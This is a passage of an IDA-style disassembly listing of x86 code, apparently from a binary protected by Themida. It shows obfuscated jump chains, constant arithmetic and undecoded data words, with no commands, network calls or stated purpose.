		dd 565F0424h, 6B1BBB53h, 0C3817CDEh, 0D257A8C6h, 5B17E9h
		dd 0CF815800h, 38B41C5Ah, 3A7ABE56h, 0F0E91F1Fh, 5AFFFFCAh
		dd 0F2ED80h, 240C8BE8h,	0E904C483h, 0DEB8h
; ---------------------------------------------------------------------------


loc_554D5C:				; CODE XREF: Themida_:0056445Fj
		add	esp, 4
		jmp	loc_556264
; ---------------------------------------------------------------------------
		dd 565BD901h, 55C1E952h, 0EA800000h, 0E9D000D3h, 0BF7Eh
		dd 629BC681h, 0CE01430Ch, 5646E9h, 3B1D6800h, 2C8B148Dh
		dd 4C48124h, 83000000h,	8145FFEDh, 4ECh, 240C8900h, 85FDE9h
		dd 0CBA5200h, 0F7321114h, 8DCA81D2h, 0C133FE49h, 0D2F704E2h
		dd 7F58F281h, 0D1310E38h, 66E9815Ah, 814D607Ah,	0A577A4C1h
		dd 8BCF313Ch, 0C483240Ch, 0CAF78104h, 1D8D308h,	0EDE95FFBh
		dd 81FFFFFAh, 4ECh, 24148900h, 4BAh, 0F0E0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554DF6:				; CODE XREF: Themida_:0055FFD4j
		sub	edi, 29D10475h
		jmp	loc_558C10
; ---------------------------------------------------------------------------
aCbuWu?ziezis	db 'CW?E',0
		align 2


loc_554E12:				; CODE XREF: Themida_:005541ABj
		mov	edx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6AE966BAh
		jmp	loc_5530AD
; ---------------------------------------------------------------------------


loc_554E2A:				; CODE XREF: Themida_:00561FD8j
		mov	ecx, [ebx]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_557DB3
; ---------------------------------------------------------------------------


loc_554E35:				; CODE XREF: Themida_:0055548Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shl	eax, 1
		push	ebp
		mov	ebp, 28C346C6h
		dec	ebp
		sub	ebp, 0CA62350h
		not	ebp
		push	esi
		push	edi
		mov	edi, 457B6BB6h
		jmp	loc_561F2A
; ---------------------------------------------------------------------------
		dw 0E2C0h
		dd 6EB45005h, 0EC80E4D0h, 3607E93Ch, 0CB010000h, 508E9h
		dd 0CEBA5200h, 29317C6Bh, 0FF5D5AD1h, 0E95F2434h, 0CE4Dh
		dd 0E86AABBAh, 0F6A8E975h, 0EC830000h, 0CA98E904h, 4BB0000h
		dd 1000000h, 241C8BD8h,	0EE38E9h, 64300500h, 0C6893B64h
		dd 22FC6858h, 4890000h,	4F2FB824h, 0C7E91E25h, 56FFFFFDh
		dd 0FE4171BEh, 5EF00155h, 2404875Dh, 240C895Ch,	3AE95954h
		dd 680000B5h, 53947h, 0FF2434FFh, 48B2434h, 0EFE95224h
		dd 810000F3h, 4C7h, 4C5FE900h, 2D5D0000h, 5D9859CDh, 0CD05D001h
		dd 55D9859h, 1DE46C7Ch,	2B02BB53h, 0D6057866h, 29451D46h
		dd 0FFFE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554F22:				; CODE XREF: Themida_:00563AACj
		pop	eax
		jmp	loc_561FC3
; ---------------------------------------------------------------------------
		dd 0BE56E189h, 4, 555EF101h, 3A5C37BDh,	0D236E942h, 34870000h
		dd 24248B24h, 582434FFh, 0FFE619E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554F4D:				; CODE XREF: Themida_:0055EEEBj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_552DC4
; ---------------------------------------------------------------------------
		db 51h
		dd 0FE514AB9h, 0E181413Fh, 64365475h, 0F181D9F7h, 24670696h
		dd 5F8BF181h, 0F18154B1h, 0DDABE527h, 45FBEB81h, 0F6E90FF1h
		dd 5C000013h, 51241C89h, 0EB880CB5h, 386EE959h,	4890000h
		dd 2434FF24h, 5B2434FFh, 188E68h, 0CF73E900h, 0C481FFFFh
		dd 4, 2C581h, 0FF550000h, 5D042474h, 5C24048Fh,	9C2424D3h
		dd 0FFA841E9h, 0D7F747FFh, 49B4C781h, 7C3163D3h, 0E95F0424h
		dd 24C9h, 0F6B0B050h, 0FC04D8h,	0EA2858C2h, 0FFC1D9E9h
		dd 0D0E956FFh, 550000E2h, 26E95D5Eh, 87000002h,	0E95C241Ch
		dd 0A23Ah, 240C8B66h, 4EC8351h,	24048F54h, 4240481h, 8B000000h
		dd 0C481240Ch, 4, 4C181h, 83570000h, 148904ECh,	49026824h
		dd 0E95A7D35h, 2C78h, 15AD789h,	0C54E9FBh, 0EB810000h
		dd 512F0239h, 15EBEB81h, 815E42FFh, 0B4343DEEh,	81DE0108h
		dd 0B4343DC6h, 241C8B08h, 8104C483h, 2C6h, 0A823E900h
		dd 835F0000h, 63E904C4h, 57FFFFBDh, 0C42FE9h, 5FFE3100h
		dd 69E9F789h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555093:				; CODE XREF: Themida_:0056435Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_555BE3
; ---------------------------------------------------------------------------
		db 68h
		dd 2AAh, 51241489h, 4B08EBB9h, 0C61FE960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5550B2:				; CODE XREF: Themida_:00561EEDj
		pop	edx
		jmp	loc_55A13C
; ---------------------------------------------------------------------------
		dd 48BC731h, 4C48124h, 81000000h, 5A3399EFh, 7EDC685Eh
		dd 0C890000h, 54F7B924h, 2FE923FFh, 8B00004Ch, 0C481241Ch
		dd 4, 4C381h, 0BD550000h, 4, 875DEB29h,	895C241Ch, 54572414h
		dd 81243C8Bh, 4C4h, 0FB3AE900h,	0D5F7FFFFh, 0D9A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_555111:				; CODE XREF: Themida_:005613C8j
		pop	eax
		mov	edx, edi
		pop	edi
		push	edx
		mov	edx, 6935373Ah
		shl	edx, 1
		push	edi
		mov	edi, 1FD16225h
		inc	edi
		sub	edi, 8E8FB92h
		and	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56084D
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 70329A6Bh, 7AE9F201h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555147:				; CODE XREF: Themida_:0055B664j
		xor	eax, 4D5D30C7h
		add	ebp, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	ebp, 223E5BE2h
		sub	ebp, eax
		push	ecx
		mov	ecx, 223E5BE2h
		sub	ebp, ecx
		jmp	loc_55D03D
; ---------------------------------------------------------------------------
		dw 582Dh
		dd 5095913h, 15FF491Ah,	0E9E9D001h, 4F000033h, 3E0BE9h
		dd 0AB85000h, 100CC22h,	2EB6E9C6h, 8B660000h, 26682404h
		dd 89000044h, 2E68242Ch, 89000070h, 4812424h, 424h, 2434FF00h
		dd 178B685Dh, 34890000h, 0C800E924h, 42BAFFFFh,	8169565Bh
		dd 0F629C4CAh, 4EC8364h, 8D57E9h, 1C77FF00h, 1858669Dh
		dd 0E99C2404h, 0FFFFA63Ah, 190DE95Ah, 0C890000h, 6FB5E924h
		dd 34890000h, 76CE6824h, 32E90000h, 83FFFFAAh, 5E042404h
		dd 4C681h, 16680000h, 8900001Ch, 4B82404h, 1000000h, 2434FFC6h
		dd 4C48358h, 35CAE9h, 12E95500h, 89FFFFBAh, 0E189240Ch
		dd 0FFFDCCE9h, 56D5F7FFh, 815D5E55h, 111246C6h,	8BF7010Dh
		dd 0C4832434h, 3FEF8104h, 5E41E742h, 31243C33h,	0DDE9243Ch
		dd 0F700002Eh, 4E0C1D8h, 0E5029025h, 1980253Dh,	0E7E97EF8h
		dd 56000038h, 0FC9CE9h,	4FC78100h, 0FF257051h, 835E2434h
		dd 2C8904ECh, 6BE6824h,	24890000h, 24048324h, 1283E904h
		dd 0B9510000h, 431A4963h, 0B959CA89h, 8CED2A3h,	78CAC181h
		dd 0D101096Ah, 78CAE981h, 148B096Ah, 4C48124h, 1000000h
		dd 0C28159CAh, 2EDE4DC4h, 577FE9h, 582D5C00h, 120D603h
		dd 35805E8h, 2C8B20D6h,	4C48324h, 0FFE885E9h, 0BBE958FFh
		dd 81000077h, 0BF5B83C2h, 0A779E933h, 0C483FFFFh, 98D6E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5552F2:				; CODE XREF: Themida_:005582BDj
		mov	[esp], eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55871F
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 4FE92404h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55531F:				; CODE XREF: Themida_:0054F81Cj
		mov	dh, 3Fh
		shr	dh, 8
		push	ecx
		jmp	loc_562B42
; ---------------------------------------------------------------------------
		dw 4F4Fh
		dd 8102EFC1h, 0B91C6CC7h, 5FF829E1h, 1CD8BB53h,	0EB815DFCh
		dd 9DB9FF7h, 45E9D829h,	10000D3h, 8C685EF0h, 8900005Ah
		dd 0CAE9243Ch
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55535B:				; CODE XREF: Themida_:00555769j
		mov	eax, 65510129h
		xor	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_560AF8
; ---------------------------------------------------------------------------


loc_55536C:				; CODE XREF: Themida_:00551BD7j
		sub	cl, 7Ah
		jmp	loc_55A7BF
; ---------------------------------------------------------------------------


loc_555374:				; CODE XREF: Themida_:00561F39j
		sub	ebp, 6E166BE1h
		sub	ebp, esi
		jmp	loc_55774A
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 90EEE9h, 6F68100h, 4E144628h, 4EC81h, 0E6E90000h, 0B9000079h
		dd 68491A22h, 1238E9h, 81E78900h, 4C7h,	4EF8100h, 87000000h
		dd 895C243Ch, 40E92414h, 68000070h, 1D7B3EECh, 0E8C2815Ah
		dd 5170066Ch, 0DC06FBB9h, 59CA3123h, 0BACEE956h, 2D580000h
		dd 43801742h, 0B6088105h, 7E0C107h, 0FFFAC0E9h,	5BDA88FFh
		dd 44E9D188h, 810000ADh, 4C3h, 241C3300h, 0E9241C31h, 6425h
		dd 7C6E95Bh, 34FF0000h,	0C4815F24h, 4, 0C73AE9h, 4337BE00h
		dd 0F701E83Bh, 0B4BEE9h, 24248900h, 0FFFDC6E9h,	0EA815AFFh
		dd 5D2008A0h, 5AD00158h, 6A8DE950h, 0E2C10000h,	15B95107h
		dd 0E91C9841h, 5C92h, 8324148Bh, 0E36804C4h, 89000063h
		dd 84B7241Ch, 6AE9FA88h, 0B90000D9h, 0FF145FBh,	57C5EB81h
		dd 5BE93EB7h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555477:				; CODE XREF: Themida_:0055BFB6j
		push	eax
		push	2513h
		mov	[esp], edi
		push	0EDD400Ah
		pop	edi
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_554E35
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9240C89h, 0FFFFBAD5h, 555FF901h, 3BD068h, 243C8900h
		dd 0C26719BFh, 8E7C16Fh, 6641F781h, 0E953294Ch,	4B32h
		dd 295FFE29h, 4CE957EEh, 890000B4h, 1B9240Ch, 68261A2Fh
		dd 5FFBh, 68242C89h, 60222B09h,	83242C8Bh, 0E92904C4h
		dd 81242C8Bh, 4C4h, 0EBE5600h, 810DCB58h, 0D35412EEh, 8BF13147h
		dd 6EE92434h, 8B0000D0h, 2DE92414h, 29FFFFECh, 2DBD55D8h
		dd 813A311Dh, 23A301EDh, 0E9E829E2h, 0E40Fh
; ---------------------------------------------------------------------------


loc_555524:				; CODE XREF: Themida_:00554B76j
		pop	ebx
		shr	ebp, 8
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_562131
; ---------------------------------------------------------------------------


loc_55553F:				; CODE XREF: Themida_:0055246Fj
		mov	edi, ebx
		pop	ebx
		push	eax
		jmp	loc_562328
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 68000000h,	7785h, 89242C89h, 4C581E5h, 0E9000000h
		dd 9914h
; ---------------------------------------------------------------------------


loc_555564:				; CODE XREF: Themida_:0056116Cj
		shr	eax, 8
		xor	eax, 1A4A10B7h
		jmp	loc_55F16A
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 40E90000h, 83000071h, 143304C4h, 24143124h, 8B241433h
		dd 87E92424h, 0FFFFFFA2h, 48B2434h, 4C48124h, 83000000h
		dd 148904ECh, 7AEE924h,	0EFC10000h, 4DCF8102h, 8120285Dh
		dd 0BD7DFBF7h, 598CE926h, 0BBBB0000h, 430B8408h, 7B38C381h
		dd 0DE310DB9h, 62EF815Bh, 153B116h, 62C781F7h, 5E53B116h
		dd 8304EF83h, 1E904ECh,	81000014h, 0BD36F6E3h, 1CEB8154h
		dd 1042420h, 34335BDEh,	24343124h, 5C243433h, 8B2434FFh
		dd 0EC832404h, 242C8904h, 0C581E589h, 4, 5504C583h, 42474FFh
		dd 24048F5Dh, 8124248Bh, 4ECh, 243C8900h, 7B68E789h, 89000078h
		dd 4B9240Ch, 81000000h,	0A60074C7h, 0E5B8501Ch,	81572F5Eh
		dd 0A32B70C7h, 81C70157h, 0A32B70EFh, 0D5EBE957h, 3FBD0000h
		dd 0E91B897Eh, 0B5EEh
; ---------------------------------------------------------------------------


loc_555660:				; CODE XREF: Themida_:00564E08j
		shr	edi, 2
		xor	edi, 337929E9h
		add	ecx, 7BED079Fh
		jmp	loc_563DF4
; ---------------------------------------------------------------------------


loc_555674:				; CODE XREF: Themida_:005576CBj
		pop	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55EB3A
; ---------------------------------------------------------------------------


loc_555693:				; CODE XREF: Themida_:0055F4ABj
		add	esp, 4


loc_555699:				; CODE XREF: Themida_:0055CCC0j
		push	4397h
		mov	[esp], esi
		push	ebx
		push	dword ptr [esp]
		jmp	loc_5592BA
; ---------------------------------------------------------------------------
		dw 8159h
		dd 0FB3F72E1h, 1C29E97Dh, 0E9810000h, 3C7F6FC1h, 2DAAE9h
		dd 5DEB2900h, 5C241C87h, 89241489h, 4EC81E2h, 89000000h
		dd 0EBD242Ch, 0C122B443h, 0D5F702EDh, 0B2E9h, 5A006800h
		dd 0C890000h, 2BE5624h,	89000000h, 0CA015EF1h, 592434FFh
		dd 0D684E9h, 0E9E28900h, 7272h
; ---------------------------------------------------------------------------


loc_555708:				; CODE XREF: Themida_:0055835Cj
		push	eax
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_55A14A
; ---------------------------------------------------------------------------
aYsa		db 'Y',0
		align 2


loc_55571A:				; CODE XREF: Themida_:00553277j
		pop	ecx
		jmp	loc_55F6B0
; ---------------------------------------------------------------------------


loc_555720:				; CODE XREF: Themida_:0055194Cj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_557C33
; ---------------------------------------------------------------------------


loc_55572B:				; CODE XREF: Themida_:00563143j
		add	ecx, eax
		push	ebx
		mov	ebx, 0
		jmp	loc_552638
; ---------------------------------------------------------------------------
		dd 99BA525Bh, 2957CE54h, 2434FFD7h, 4C4815Ah, 81000000h
		dd 0E74450C7h, 0DD33E943h, 77FF0000h, 59669D1Ch, 2414D366h
		dd 0A0B0E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555766:				; CODE XREF: Themida_:005560C9j
		mov	[esp], eax
		jmp	loc_55535B
; ---------------------------------------------------------------------------
		dw 0FCB8h
		dd 294E8960h, 24048BC7h, 0E904C483h, 9B29h
; ---------------------------------------------------------------------------


loc_555780:				; CODE XREF: Themida_:00550AD1j
		add	esp, 4
		jmp	loc_556A1F
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4FA71FDBh, 3E9D7F7h,	53FFFFBFh, 4EC8351h, 0BA241489h
		dd 4C3D50CCh, 0F260E9h
		db 0
; ---------------------------------------------------------------------------


loc_5557A9:				; CODE XREF: Themida_:00558273j
		pop	ecx
		jmp	loc_55C133
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D6F706E6h, 189FC681h, 0EE812A47h, 0CD35FF1Ah, 685EF001h
		dd 3B1h, 50240C89h, 1608768h, 0E9E9580Bh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5557D7:				; CODE XREF: Themida_:00553EE3j
		not	ebp
		add	ebp, 89769A15h
		mov	ecx, ebp
		pop	ebp
		add	ebp, ecx
		jmp	loc_564F27
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EEh
		dd 39922D1Ah, 0C681CE01h, 39922D1Ah, 4C68159h, 33000000h
		dd 34312434h, 24343324h, 97C4E95Ch, 0A4680000h,	89000061h
		dd 0E950240Ch, 9AC6h, 0E9243C8Bh, 45D5h, 0F674E953h, 0E953FFFFh
		dd 5CB1h, 4BE56h, 10E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55583B:				; CODE XREF: Themida_:00556152j
		add	esp, 4
		jmp	loc_552437
; ---------------------------------------------------------------------------
		dw 0F2BDh
a8SSDUxIss	db '8',27h,9,']SD+X%',0
		dw 500h
		dd 7552274Ch, 4C2DC801h, 59755227h, 52B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55586D:				; CODE XREF: Themida_:00552F7Aj
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55E68E
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 4BF5759h,	815AAB4Dh, 0D57368C7h, 6EFC127h, 0FFC574E9h
		dd 4E5C1FFh, 137BB53h, 0EB81161Bh, 9E73F65h, 2457E9h, 24248B00h
		dd 0FFD874E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5558B1:				; CODE XREF: Themida_:0055D3E8j
		add	esp, 4
		push	440Ch
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5559C3
; ---------------------------------------------------------------------------
		dw 0C89h
aSzq		db '$Z',0
		align 2
a3S		db '3,$-',0
		align 2
		dw 0B753h
		dd 0C0D7F6DFh, 0DFF602EFh, 8076CF80h, 0FE2841EFh, 3BE5E9h
		dd 0C4815A00h, 4, 2253F381h, 505167C9h,	0A04CB2B8h, 83BD556Bh
		dd 4D4D3A54h, 8102E5C1h, 557A4EEDh, 4CC5817Eh, 81443A1Fh
		dd 2F05CEEDh, 8BE82903h, 0C481242Ch, 4,	32E9C189h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555933:				; CODE XREF: Themida_:0055068Ej
		and	eax, edx
		jmp	loc_55D77F
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 0D23876B6h, 0E95EF301h, 457Ah, 13BB0558h, 47E969DCh
		dd 4A00006Dh, 0C3AE281h, 81422FD9h, 0E23609F2h,	698BE913h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555966:				; CODE XREF: Themida_:0055A96Fj
		not	edi
		jmp	loc_550921
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 87h
		dd 0E9515DEEh, 0FFFFD5C3h
; ---------------------------------------------------------------------------


loc_555978:				; CODE XREF: Themida_:00563A46j
		sub	[esp], eax
		jmp	loc_560158
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 4C481h, 0C2810000h, 4, 4EC8351h, 0FFE930E9h
		dd 240C89FFh, 456E68h, 241C8900h, 0FFDE33E9h, 576B68FFh
		dd 88E90000h, 0B9000099h, 4A400EC2h, 56C9E981h,	0B5E95E9Ch
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559C3:				; CODE XREF: Themida_:005558C5j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55D43A
; ---------------------------------------------------------------------------
		db 68h
		dd 1601h, 3F2FE9h, 0E9525700h, 4F08h, 966A6BB9h, 55D1F705h
		dd 2233B5BDh, 81D5F722h, 0E4A3CCF5h, 5DE931E8h,	4E9C149h
		dd 0A948E9h
		db 0
; ---------------------------------------------------------------------------


loc_555A05:				; CODE XREF: Themida_:00561C34j
		xor	[esp], eax
		jmp	loc_55D3ED
; ---------------------------------------------------------------------------


loc_555A0D:				; CODE XREF: Themida_:005512D2j
		mov	esp, [esp]
		mov	[esp], ebp
		push	0CAB097Eh
		pop	ebp
		mov	edx, 6112947h
		jmp	loc_551B8B
; ---------------------------------------------------------------------------
		db 89h
		dd 0A7BBE9E1h, 0E959FFFFh, 80BBh
; ---------------------------------------------------------------------------


loc_555A30:				; CODE XREF: Themida_:00551589j
		pop	esi
		jmp	loc_55FC63
; ---------------------------------------------------------------------------


loc_555A36:				; CODE XREF: Themida_:005600AEj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		push	ecx
		mov	ecx, 27051191h
		mov	edx, 31FC879Dh
		sub	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_56254A
; ---------------------------------------------------------------------------


loc_555A56:				; CODE XREF: Themida_:00556ECEj
		mov	ebx, 0DCF6512h
		not	ebx
		shr	ebx, 3
		jmp	loc_558025
; ---------------------------------------------------------------------------


loc_555A65:				; CODE XREF: Themida_:0055E0A5j
		neg	esi
		sub	esi, 422E4573h
		jmp	loc_55B15F
; ---------------------------------------------------------------------------
a1Ysbb		db '1YbB',0
		align 2
		dw 0C8Bh
		dd 5E545624h, 4C681h, 7E90000h,	8100005Bh, 0D65306F7h
		dd 0FFEF834Bh, 2493E9h,	0B5516600h, 0C9C2801Dh,	0FFF543E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555AA5:				; CODE XREF: Themida_:00557730j
		add	eax, 715495B0h
		jmp	loc_553F15
; ---------------------------------------------------------------------------


loc_555AAF:				; CODE XREF: Themida_:00550718j
		pop	eax
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_564795
; ---------------------------------------------------------------------------


loc_555AD1:				; CODE XREF: Themida_:0055FEF3j
		push	53BD662Fh
		pop	edi
		sub	edi, 53BD662Eh
		jmp	loc_5590ED
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0B1E90000h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555AEF:				; CODE XREF: Themida_:0055D192j
		push	eax
		mov	eax, 3309314Bh
		jmp	loc_55762D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 3F0FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B02:				; CODE XREF: Themida_:0055A934j
		add	ebp, 2F50072Eh
		push	eax
		jmp	loc_55DABA
; ---------------------------------------------------------------------------


loc_555B0E:				; CODE XREF: Themida_:0054FF45j
		add	esi, 4ECF4E2Dh
		sub	esi, 0E871114Fh
		sub	esi, 0F6664E9h
		add	ecx, esi
		pop	esi
		sub	edx, 63A279A7h
		add	edx, ecx
		push	ecx
		mov	ecx, 63A279A7h
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55AD99
; ---------------------------------------------------------------------------
aWsv		db ']W',0
		align 2


loc_555B42:				; CODE XREF: Themida_:00558493j
		xor	ecx, eax
		push	2A38h
		mov	[esp], ebp
		mov	ebp, ebx
		push	4643h
		mov	[esp], ebp
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55970F
; ---------------------------------------------------------------------------


loc_555B6A:				; CODE XREF: Themida_:00559BDEj
		pop	ebx
		and	esi, 67BB3427h
		add	esi, 0CBC8AD74h
		add	ecx, 6EBF3015h
		sub	ecx, esi
		push	ebp
		mov	ebp, 7335492Ch
		and	ebp, 5B253383h
		jmp	loc_5522AB
; ---------------------------------------------------------------------------


loc_555B90:				; CODE XREF: Themida_:005580E3j
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], edi
		push	5D06h
		mov	[esp], ebx
		sub	dword ptr [esp], 3D1F14D6h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		jmp	loc_5606F1
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EC8300h, 0FF243C89h, 8B042474h, 0E951243Ch, 0FFFFBBCDh
		dd 8B24048Fh, 0C892424h, 1CE95224h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555BE3:				; CODE XREF: Themida_:0055509Aj
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_55E74A
; ---------------------------------------------------------------------------
aSs		db 'S^',0
		align 4
		dd 1980C281h, 0D96847A7h, 89000026h, 0B9512404h, 7A632474h
		dd 10E9C889h, 5C00001Dh, 0FFC2B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555C1D:				; CODE XREF: Themida_:0055C864j
		mov	ebp, 4
		jmp	loc_5511DE
; ---------------------------------------------------------------------------
		db 51h
		dd 0CF00E9h
		db 0
; ---------------------------------------------------------------------------


loc_555C2D:				; CODE XREF: Themida_:0054F9DDj
		mov	esp, [esp]
		jmp	loc_559E74
; ---------------------------------------------------------------------------
		db 35h,	0E5h, 15h
		dd 3D355B0Dh, 2D379513h, 49D0E889h, 2958C289h, 0FB015AD7h
		dd 0FFAE15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555C51:				; CODE XREF: Themida_:00564A86j
		add	al, bh
		sub	al, 6Dh
		mov	bx, [esp]
		add	esp, 2
		sub	esp, 2
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 0EBh
		mov	cl, 0A7h
		jmp	loc_5536D7
; ---------------------------------------------------------------------------


loc_555C75:				; CODE XREF: Themida_:0055463Dj
		sub	eax, 67C85EB1h
		push	eax
		mov	eax, 2166FF8h
		add	ebx, eax
		pop	eax
		add	ebx, eax
		sub	ebx, 2166FF8h
		jmp	loc_552D1C
; ---------------------------------------------------------------------------
		dd 0F707EEC1h, 8024E9D6h, 89510000h, 5DDFE9E1h,	34FF0000h
		dd 0F3D0E924h, 481FFFFh, 424h, 243C8B00h, 4C481h, 0C7810000h
		dd 4, 4BA52h, 32E90000h, 0B80000E8h, 4,	4FFE981h, 0B9E951BDh
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555CDB:				; CODE XREF: Themida_:00557BF6j
		push	4E1Ch
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		push	18324DD9h
		pop	edx
		or	edx, 5E765030h
		xor	edx, 5E765DFDh
		jmp	loc_556C42
; ---------------------------------------------------------------------------
		dd 6512A68h, 5DE95874h,	810000BEh, 4C2h, 4B85000h, 1000000h
		dd 148758C2h, 0C335C24h, 240C3124h, 0E9240C33h,	0C761h
		dd 0EB80EB28h, 0D095E942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D3A:				; CODE XREF: Themida_:00557F5Cj
		push	ebp
		jmp	loc_56184E
; ---------------------------------------------------------------------------


loc_555D40:				; CODE XREF: Themida_:0055419Cj
		add	dl, 0FAh
		jmp	loc_55DE5E
; ---------------------------------------------------------------------------


loc_555D48:				; CODE XREF: Themida_:00556ACFj
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_563F2F
; ---------------------------------------------------------------------------
aItsius		db 'S ',0
		align 2


loc_555D5E:				; CODE XREF: Themida_:0055F052j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 47033844h
		dec	eax
		add	eax, 0B8FCC7C1h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_557780
; ---------------------------------------------------------------------------
		db 68h,	9Ch, 2Ah
		dd 15E90000h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555D97:				; CODE XREF: Themida_:0055E40Dj
		pop	eax
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55D352
; ---------------------------------------------------------------------------


loc_555DA6:				; CODE XREF: Themida_:0055D3C2j
		mov	ecx, 7E111E17h
		xor	esi, ecx
		jmp	loc_5541A1
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 0E9F0005Bh, 57DEh, 5C241487h, 0FFB009E9h, 4EB81FFh
		dd 53000000h, 42474FFh,	0FFF633E9h, 80D186FFh, 0CB2802C1h
		dd 4E516859h, 2C890000h, 0C92FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555DEA:				; CODE XREF: Themida_:00564A2Aj
		mov	ecx, 4
		jmp	loc_55477F
; ---------------------------------------------------------------------------
		dd 6824248Bh, 1744h, 0E9241489h, 0FFFFA1DDh, 33243431h
		dd 248B2434h, 48B6624h,	3F236824h, 0CFE90000h, 66FFFFF3h
		dd 52240C8Bh, 0E956E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E25:				; CODE XREF: Themida_:0055E520j
		xor	eax, 7EC50DF0h
		sub	eax, 594E687Bh
		jmp	loc_55E423
; ---------------------------------------------------------------------------


loc_555E34:				; CODE XREF: Themida_:00552AA8j
		push	ecx
		mov	ecx, 59432F0h
		xor	ecx, 5FE53693h
		add	ecx, 364E0809h
		or	ecx, 65CB712Ch
		shr	ecx, 4
		xor	ecx, 2988BF3Ch
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5645F9
